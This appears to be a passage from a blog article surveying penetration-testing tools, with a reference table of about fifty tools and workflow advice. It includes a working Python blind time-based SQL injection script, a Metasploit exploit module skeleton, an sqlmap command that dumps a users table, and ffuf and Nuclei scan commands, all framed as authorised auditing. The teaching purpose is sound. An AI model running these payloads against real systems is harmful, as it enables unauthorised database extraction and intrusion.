Python
- What it is used for: The undisputed lingua franca of offensive and defensive security engineering. Python powers core security libraries like
Impacket(network protocol manipulation),Scapy(packet crafting),Requests(HTTP automation), andPwntools(exploit generation and binary exploitation). - Real-World Scenario: An auditor discovers a blind, time-based SQL injection vulnerability on an obscure API endpoint that commercial scanners fail to parse. In twenty minutes, they write a custom multithreaded Python script:
The custom script extracts the target database name without triggering standard IDS signature rules.import requests, time target = "https://api.example.com/v1/lookup" extracted_db = "" for idx in range(1, 15): for char in "abcdefghijklmnopqrstuvwxyz_": payload = f"admin' AND (SELECT IF(ascii(substring(database(),{idx},1))={ord(char)}, sleep(3), 0))-- -" start = time.time() requests.get(target, params={"user": payload}, timeout=10) if time.time() - start > 2.5: extracted_db += char print(f"[+] Found character: {extracted_db}") break
Ruby
- What it is used for: The programming language that powers the Metasploit Framework. Security researchers use Ruby to write modular exploits, auxiliary scanners, and protocol parsers compatible with Metasploit’s extensible architecture.
- Real-World Scenario: A zero-day deserialization vulnerability is published for an enterprise Java application. A security engineer crafts a custom Metasploit module in Ruby adhering to
Msf::Exploit::Remote::HttpClient:
The module allows the entire red team to test corporate deployments reliably through standard Metasploit interfaces.class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def exploit send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'api', 'deserialize'), 'data' => payload.encoded }) end end
SQLmap
- What it is used for: An open-source penetration testing tool that automates the process of detecting and exploiting SQL injection vulnerabilities and taking over database servers. It supports boolean-based blind, time-based blind, error-based, UNION query, stacked queries, and out-of-band injection across all major database engines (MySQL, Oracle, PostgreSQL, Microsoft SQL Server, SQLite).
- Real-World Scenario: An engineer flags a suspicious search parameter on an internal web portal (
https://portal.corp/search?cat=hardware):
SQLmap verifies an error-based SQL injection vulnerability, enumerates the database schema, and dumps the administrative credentials table, establishing proof-of-concept evidence for development remediation.sqlmap -u "https://portal.corp/search?cat=hardware" --batch --dbs --tables --dump -T users
Ffuf (Fuzz Faster U Fool)
- What it is used for: A blazing-fast web fuzzer written in Go. It is optimized for discovering hidden directories, virtual hosts (vhosts), URL routing parameters, and HTTP header injections with flexible status-code, word-count, and regular-expression filtering.
- Real-World Scenario: An auditor suspects an API endpoint contains hidden debugging parameters that unlock administrative functions:
By filtering out default responses of size 1420 (ffuf -u https://api.target.com/users/profile?FUZZ=true -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -fs 1420-fs 1420), Ffuf identifies a hidden parameteradmin_override=truethat returns a 3500-byte response with complete administrative privileges.
Nuclei
- What it is used for: A modern, template-driven vulnerability scanner developed by ProjectDiscovery. Nuclei uses declarative YAML templates to define and execute targeted network and web vulnerability checks against massive target lists with zero false positives. The open-source community actively maintains templates for newly published CVEs.
- Real-World Scenario: A critical Remote Code Execution vulnerability is disclosed affecting enterprise VPN gateways. Within two hours of publication, the security operations team uses Nuclei to scan the entire company perimeter:
Nuclei scans 1,200 external IP addresses in under three minutes, pinpointing one unpatched gateway at a remote subsidiary and allowing administrators to apply the emergency security patch before exploitation occurs in the wild.nuclei -l all_perimeter_ips.txt -t cves/2026/CVE-2026-XXXXX.yaml -severity critical -o vulnerable_gateways.txt
Tool Reference Matrix
| Category | Tool | Primary Purpose | Dominant Protocol / Layer |
|---|---|---|---|
| Reconnaissance | Nmap | Port scanning, OS/service fingerprinting, vulnerability scripting | TCP / UDP / IP |
| Masscan | Asynchronous mass internet/subnet port scanning | TCP / UDP SYN | |
| Amass | External attack surface mapping and DNS asset enumeration | DNS / OSINT / APIs | |
| theHarvester | OSINT public email, employee, and subdomain collection | Search Engines / OSINT | |
| Netdiscover | Active and passive local network host discovery | ARP | |
| Web Security | Burp Suite | Web proxy, request tampering, vulnerability scanning | HTTP / HTTPS / WebSockets |
| Nikto | Web server misconfiguration and vulnerable file scanner | HTTP / HTTPS | |
| Gobuster | High-concurrency directory, DNS, and vhost brute-forcer | HTTP / DNS | |
| Dirsearch | Feature-rich recursive web path and file brute-forcer | HTTP / HTTPS | |
| WhatWeb | Web application and technology stack fingerprinter | HTTP / DOM | |
| Password Attacks | Hydra | High-speed parallel network protocol login cracker | SSH, RDP, FTP, SMB, HTTP |
| Hashcat | GPU-accelerated rule-based password hash recovery | Cryptographic Hashes | |
| John the Ripper | Multi-format hash cracker and archive hash extractor | Offline Hashes | |
| Medusa | Multi-threaded modular parallel network credential tester | Remote Protocols | |
| Crunch | Wordlist generator with strict pattern and length constraints | Local Filesystem | |
| Exploitation | Metasploit | Full-scale exploit framework and payload manager | Cross-platform |
| Searchsploit | Offline command-line search for Exploit-DB vulnerabilities | Local Database | |
| BeEF | Browser hooking and client-side social engineering | JavaScript / HTTP | |
| Empire | In-memory post-exploitation and PowerShell/Python C2 | C2 / Memory | |
| RouterSploit | Embedded device, router, and IoT exploitation framework | Embedded Protocols | |
| Wireless Security | Aircrack-ng | 802.11 packet capture, deauth, and handshake cracking | 802.11 RF |
| Reaver | Brute-force PIN attack on Wi-Fi Protected Setup (WPS) | 802.11 WPS | |
| Wifite | Automated hands-free wireless audit orchestrator | 802.11 RF / PMKID | |
| Kismet | Passive wireless and RF packet sniffer and IDS | 802.11 / BLE / Zigbee | |
| Bettercap | Multi-purpose MITM, ARP spoofing, and sniffing framework | Ethernet / Wi-Fi / BLE | |
| Malware & RE | Ghidra | Multi-architecture decompiler and binary reverse engineering | x86, ARM, MIPS, RISC-V |
| Radare2 | Scriptable command-line reverse engineering and hex editor | Binary Code | |
| Cutter | GUI interface for Rizin and Ghidra decompiler | Binary Code | |
| YARA | Rule-based pattern matching for malware classification | File / Memory Signatures | |
| Volatility | Volatile memory (RAM) digital forensics framework | Memory Dumps | |
| Digital Forensics | Autopsy | Graphical digital forensics and disk timeline platform | Disk Images (E01, RAW) |
| The Sleuth Kit | Low-level command-line disk image and inode forensic tools | NTFS, ext4, FAT | |
| Foremost | Signature-based forensic file carver | Raw Binary Streams | |
| Bulk Extractor | High-speed feature extraction (emails, cards, URLs) | Unstructured Data | |
| TestDisk | Partition table recovery and filesystem boot repair | MBR / GPT / Boot Sectors | |
| Network & MITM | Wireshark | Deep packet inspection and protocol stream analyzer | Ethernet / IP / Application |
| Tcpdump | Lightweight command-line packet capture and BPF filter | Network Layer | |
| Ettercap | Switched LAN Man-in-the-Middle and ARP poisoning suite | ARP / Layer 2 | |
| Dsniff | Plaintext network authentication and password sniffer | Cleartext Protocols | |
| Responder | LLMNR, NBT-NS, and mDNS credential capture server | Windows Name Resolution | |
| Privilege Escalation | LinPEAS | Automated Linux privilege escalation enumeration script | Linux / Unix Internals |
| WinPEAS | Automated Windows privilege escalation enumeration utility | Windows Internals / Registry | |
| GTFOBins | Catalog of Unix binaries abused for privilege escalation | Unix SUID / Sudo | |
| Mimikatz | LSASS memory password, hash, and Kerberos ticket extractor | Windows LSASS | |
| CrackMapExec | Active Directory network enumeration and lateral movement | SMB / WMI / WinRM | |
| Automation | Python | Swiss-army scripting language for custom security tools | OS / Sockets / APIs |
| Ruby | Scripting language powering Metasploit exploit modules | Exploit DSL | |
| SQLmap | Automated SQL injection detection and database takeover | SQL / HTTP | |
| Ffuf | High-speed web parameter, directory, and vhost fuzzer | HTTP / HTTPS | |
| Nuclei | YAML template-driven vulnerability scanner | HTTP / TCP / DNS / SSL |
Key Takeaways: How to Build a Pragmatic Security Workflow
Mastering these tools is not about executing all 50 indiscriminately. Professional security practitioners structure their workflow into deliberate, iterative phases:
- Reconnaissance First: Map boundaries with Amass and Masscan before zeroing in with Nmap and WhatWeb. Gathering accurate asset data minimizes unnecessary noise.
- Deep-Dive Assessment: Channel web traffic through Burp Suite, explore hidden paths using Ffuf, and check known vulnerabilities with Nuclei.
- Internal & Post-Exploitation: Pivot from initial footholds using LinPEAS or WinPEAS, leverage GTFOBins for local privilege escalation, and audit domain configurations with Mimikatz and CrackMapExec.
- Defense & Investigation: Hunt malicious implants using YARA, extract volatile memory artifacts with Volatility, and dissect forensic disk images using The Sleuth Kit and Autopsy.
- Automate Everything: Wrap repetitive tasks in Python scripts to standardize testing and adapt quickly to newly disclosed vulnerabilities.
WRITTEN BY MAYANK KUMAR GUPTA
Backend & Agentic AI Engineer building scalable systems, AI assistants, and high-performance applications with Python, Django, FastAPI, and LangGraph.